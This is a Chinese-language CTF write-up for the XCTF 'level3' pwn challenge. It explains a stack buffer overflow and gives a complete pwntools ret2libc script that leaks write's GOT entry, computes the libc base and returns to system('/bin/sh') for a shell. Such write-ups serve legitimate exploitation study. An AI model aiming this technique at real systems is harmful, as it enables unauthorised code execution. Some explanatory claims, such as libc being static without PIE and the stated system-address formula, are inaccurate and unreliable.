XCTF-PWN-Level3
XCTF-PWN-Level3
2021年11月9日
9:57
拿到題目之後使用檔案檢視工具發現是32位檔案:
小端,沒有開stack端保護?NX開啟狀態,PIE沒有開啟狀態說明函式的地址在libc中是靜態的
IDA32開:
主函式:
看含有漏洞處的函式:
buf建立是88h,十進位制136。此時read函式中的buf建立是0x100,十進位制是256,存在溢位點。
既然沒有system和/bin/sh,那怎麼辦?所以就有了libc檔案,通過得到的libc基址可以獲得system函式的地址。
具體操作是這樣的:
1、通過write函式got表獲取write函式的地址
2、獲取libc函式庫
3、之後通過上述2者獲得libc函式庫的偏移地址
libc的偏移地址 = got表中write函式地址 - libc的write函式地址
在這裡要說的是同理知道了libc的偏移地址之後可以獲得system函式以及/bin/sh的地址。
比方說system函式地址 = got表中的system函式地址 + libc的偏移地址
解題過程:
from pwn import *
sock = process("./level3")
sock = remote('ip',port)
#初始化elf以及libc
libc = ELF('libc_32.so.6')
elf = ELF('level3')
#獲取main函式的地址
main_addr = elf.sym['main']
log.success(hex(main_addr))
#使用第一次漏洞獲取write函式的地址
#利用方式為 libc_offset = write_got - write_libc
#寫好got以及plt
write_got_addr = elf.got['write']
write_plt_addr = elf.plt['write']
#第一次洩露過程write(1,write_got_addr,4),獲取write在got中的地址write_addr
payload = b'A' *136 + b'b' *4 + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
sock.sendlineafter('Input:\n',payload)
write_addr = u32(sock.recv()[:4])#這裡需要接收4個字元
log.success("write_addr:",hex(write_addr))
#獲取libc的基址:write在got中的真實地址減去libc裡面的write獲取到libc的真實地址
libc_offset = write_addr - libc.sym['write']
log.success("libc_offset:"+ hex(libc_offset))
#獲取system函式真實地址以及/bin/sh的真實地址
sys_addr = libc_offset + libc.sym['system']
log.success("sys_addr:"+hex(sys_addr))
bin_sh_addr = libc_offset + libc.search(b'/bin/sh').__next__()
log.success("bin_sh_addr:"+hex(bin_sh_addr))
#最終pwn#需要注意呼叫函式還有一個deadbeef,那是用來佔位的
payload = b'A' *136 + b'B'*4 + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
sock.sendline(payload)
sock.interactive()
上述指令碼能成功獲得flag